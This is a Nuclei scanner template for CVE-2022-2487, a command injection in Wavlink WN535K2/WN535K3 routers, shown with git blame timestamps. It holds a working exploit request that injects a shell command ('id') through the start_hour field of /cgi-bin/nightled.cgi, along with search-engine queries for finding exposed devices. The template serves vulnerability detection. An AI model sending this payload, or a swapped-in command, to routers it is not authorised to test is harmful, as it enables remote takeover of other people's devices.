nuclei-templates/http/cves/2022/CVE-2022-2487.yaml

67 lines
2.3 KiB
YAML
Raw Normal View History

2022-07-20 18:16:04 +00:00
id: CVE-2022-2487
info:
name: Wavlink WN535K2/WN535K3 - OS Command Injection
2022-07-20 18:16:04 +00:00
author: For3stCo1d
severity: critical
2022-07-20 18:34:55 +00:00
description: |
Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection which affects unknown code in /cgi-bin/nightled.cgi via manipulation of the argument start_hour. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
2023-09-06 11:59:08 +00:00
remediation: |
Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
2022-07-20 18:16:04 +00:00
reference:
- https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20nightled.cgi%20.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2487
- https://vuldb.com/?id.204538
- https://nvd.nist.gov/vuln/detail/CVE-2022-2487
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-2487
cwe-id: CWE-78
epss-score: 0.97404
epss-percentile: 0.99916
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:o:wavlink:wl-wn535k2_firmware:-:*:*:*:*:*:*:*
2022-07-20 18:16:04 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: wavlink
product: wl-wn535k2_firmware
shodan-query:
- http.title:"Wi-Fi APP Login"
- http.title:"wi-fi app login"
2024-05-31 19:23:20 +00:00
fofa-query: title="wi-fi app login"
google-query: intitle:"wi-fi app login"
2022-07-21 08:39:12 +00:00
tags: cve,cve2022,iot,wavlink,router,rce,oast
2022-07-24 05:36:57 +00:00
variables:
cmd: "id"
http:
2022-07-20 18:16:04 +00:00
- raw:
- |
2022-07-24 05:36:57 +00:00
@timeout: 10s
2022-07-20 18:16:04 +00:00
POST /cgi-bin/nightled.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-07-24 05:36:57 +00:00
page=night_led&start_hour=;{{cmd}};
2022-07-20 18:16:04 +00:00
2022-07-24 05:18:02 +00:00
matchers-condition: and
2022-07-20 18:16:04 +00:00
matchers:
- type: word
2022-07-24 05:18:02 +00:00
part: body
2022-07-20 18:16:04 +00:00
words:
2022-07-24 05:36:57 +00:00
- "uid="
- "gid="
- "nightStart"
2022-07-24 05:18:02 +00:00
condition: and
- type: word
words:
- text/html
2022-07-24 05:18:02 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100d5efea1d7e0aebaf8dcf58938cef6794ce2b8e92534ab5030ce01c9f54fa46570220668b520a1f400bed5e9f77206b98c2c7a3bfdec16b01741ff05a4acf9336aa76:922c64590222798bb761d5b6d8e72950